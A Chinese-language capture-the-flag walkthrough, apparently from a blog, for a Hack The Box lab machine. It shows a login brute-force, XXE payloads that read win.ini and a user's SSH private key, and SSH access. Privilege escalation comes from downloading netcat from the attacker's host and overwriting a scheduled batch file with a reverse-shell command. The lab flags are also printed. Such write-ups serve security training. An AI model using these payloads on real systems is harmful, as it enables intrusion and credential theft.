1.主机发现

nmap -v -sV  -sC 10.129.95.192

图片

开放了22,80端口和443端口

2.爆破

直接访问80端口,是一个登录页面

bp爆破

图片

可见admin/password是账号和密码

图片

成功登录

3.XXE

在order,contact界面用户可以传入数据,但是contact界面的submit是无效的

抓个包看看

图片

发现提交的数据是xml的格式,所以可能存在XXE的漏洞

构造如下数据

<?xml version = "1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
# 把c:/windows/win.ini的内容放到test里面
<order>
<quantity>
1
</quantity>
<item>
&test;
# 读取test
</item>
<address>sssssss</address></order>

返回了win.ini的内容
图片

我们尝试在⽹⻚的 HTML 代码中找到⼀些重要的东西

图片

找到了一个人名字,这可能是靶机的一个用户,修改一下

<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>

图片

返回了daniel的私钥

4.ssh连接获取user flag

注意到该靶机开放了22端口,这样就可以直接利用id_rsa登录了

保存秘钥为rsa文件

ssh -i rsa daniel@ip
# 这样他会反映权限太大,有问题

chmod 0600 rsa
# 只有当前用户可读权限

图片

这样就拿到了权限

cd Desktop
type user.txt
# flag{032d2fc8952a8c24e39c8f0ee9918ef7}

5.提权获取root flag

cd C:\ 
# 到根目录下
dir

图片

注意到Log-Management文件夹,该文件夹在一般windows下是不存在的

cd Log-Management
dir
# 注意到有一个bat文件
type job.bat
# 内容如下
@echo off 
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit

现在的想法是借助该bat文件执行一些我们的命令
首先看下权限

icacls job.bat

图片

当前用户是对该文件有读写权限的(F指的是full control)

schtasks
# 查看该job是否在运行
# 或者
powershell 
ps

我们可以看到wevtutil 正在运行,这就是job.bat里的exe文件
接下来准备用powershell上传一个nc

下载地址

https://github.com/int0x33/nc.exe/blob/master/nc64.exe

python3 -m http.server 80
# 开启http服务
wget http://10.10.16.153/nc64.exe -outfile nc64.exe
# 下载nc

图片

nc -lnvp 4444
# kali监听4444端口

exit
# 退出powershell
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.153 4444 > C:\Log-Management\job.bat
# 把nc写到bat中,等待执行

图片

成功拿到shell

图片

管理员权限

cd C:\Users\Administrator\Desktop
type root.txt
# flag{f574a3e7650cebd8c39784299cb570f8}

至此HTB starting_point的全部靶机都已完成

Related Posts

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注